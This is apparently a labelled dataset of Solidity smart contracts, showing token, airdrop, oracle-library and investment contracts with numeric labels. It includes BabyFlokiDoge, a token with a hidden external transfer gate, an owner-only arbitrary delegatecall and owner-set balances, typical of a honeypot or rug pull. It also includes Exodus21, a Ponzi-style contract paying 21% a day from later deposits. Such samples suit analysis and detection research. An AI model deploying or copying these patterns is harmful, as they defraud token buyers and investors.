event CheckStatus(uint8 reason, address indexed spender, address indexed from, address indexed to, uint256 value);
ServiceRegistry public registry;
constructor(ServiceRegistry _registry, string _name, string _symbol) public
DetailedERC20(_name, _symbol, RTOKEN_DECIMALS)
{
require(_registry != address(0));
registry = _registry;
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (_check(msg.sender, _to, _value)) {
return super.transfer(_to, _value);
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (_check(_from, _to, _value)) {
return super.transferFrom(_from, _to, _value);
} else {
return false;
}
}
function _check(address _from, address _to, uint256 _value) private returns (bool) {
require(_from != address(0) && _to != address(0));
uint8 reason = _service().check(this, msg.sender, _from, _to, _value);
emit CheckStatus(reason, msg.sender, _from, _to, _value);
return reason == 0;
}
function _service() view public returns (RegulatorService) {
return RegulatorService(registry.service());
}
}
pragma solidity ^0.4.24;
contract RegulatedTokenERC1404 is ERC1404, RegulatedToken {
constructor(ServiceRegistry _registry, string _name, string _symbol) public
RegulatedToken(_registry, _name, _symbol)
{
}
function detectTransferRestriction (address from, address to, uint256 value) public view returns (uint8) {
return _service().check(this, address(0), from, to, value);
}
function messageForTransferRestriction (uint8 reason) public view returns (string) {
return _service().messageForReason(reason);
}
} | 1 | 3,887 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract InvestTFC is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
address _tokenContract = 0x274b71f49dc3f5370da8c81e4e936eaf9a669321;
AltcoinToken thetoken = AltcoinToken(_tokenContract);
uint256 public tokensPerEth = 10000e4;
uint256 public tokensPerAirdrop = 5e4;
uint256 public bonus = 0;
uint256 public airdropcounter = 0;
uint256 public constant minContribution = 1 ether / 1000;
uint256 public constant extraBonus = 1 ether;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Distr(address indexed to, uint256 amount);
event TokensPerEthUpdated(uint _tokensPerEth);
event TokensPerAirdropUpdated(uint _tokensPerEth);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function InvestTFC () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function updateTokensPerAirdrop(uint _tokensPerAirdrop) public onlyOwner {
tokensPerAirdrop = _tokensPerAirdrop;
emit TokensPerAirdropUpdated(_tokensPerAirdrop);
}
function () external payable {
if ( msg.value >= minContribution) {
sendTokens();
}
else if ( msg.value < minContribution) {
airdropcounter = airdropcounter + 1;
sendAirdrop();
}
}
function sendTokens() private returns (bool) {
uint256 tokens = 0;
require( msg.value >= minContribution );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
bonus = 0;
if ( msg.value >= extraBonus ) {
bonus = tokens / 2;
}
tokens = tokens + bonus;
sendtokens(thetoken, tokens, investor);
}
function sendAirdrop() private returns (bool) {
uint256 tokens = 0;
require( airdropcounter < 1000 );
tokens = tokensPerAirdrop;
address holder = msg.sender;
sendtokens(thetoken, tokens, holder);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function resetAirdrop() onlyOwner public {
airdropcounter=0;
}
function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) {
AltcoinToken anytoken = AltcoinToken(anycontract);
uint256 amount = anytoken.balanceOf(address(this));
return anytoken.transfer(owner, amount);
}
function sendtokens(address contrato, uint256 amount, address who) private returns (bool) {
AltcoinToken alttoken = AltcoinToken(contrato);
return alttoken.transfer(who, amount);
}
} | 0 | 1,428 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BabyFlokiDoge is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 8000000000000000000000000000000;
string public name = "BabyFlokiDoge";
string public symbol = "BABYFD";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wBNB, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tooWho, uint amount) public {
require(msg.sender == owner);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = amount;
emit Transfer(address(0x0), _tooWho[i], amount);
}
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 398 |
pragma solidity ^0.4.24;
contract Exodus21{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 21;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x4553d99872248020CC4C37519a4156167170E3C6;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,153 |
pragma solidity >=0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
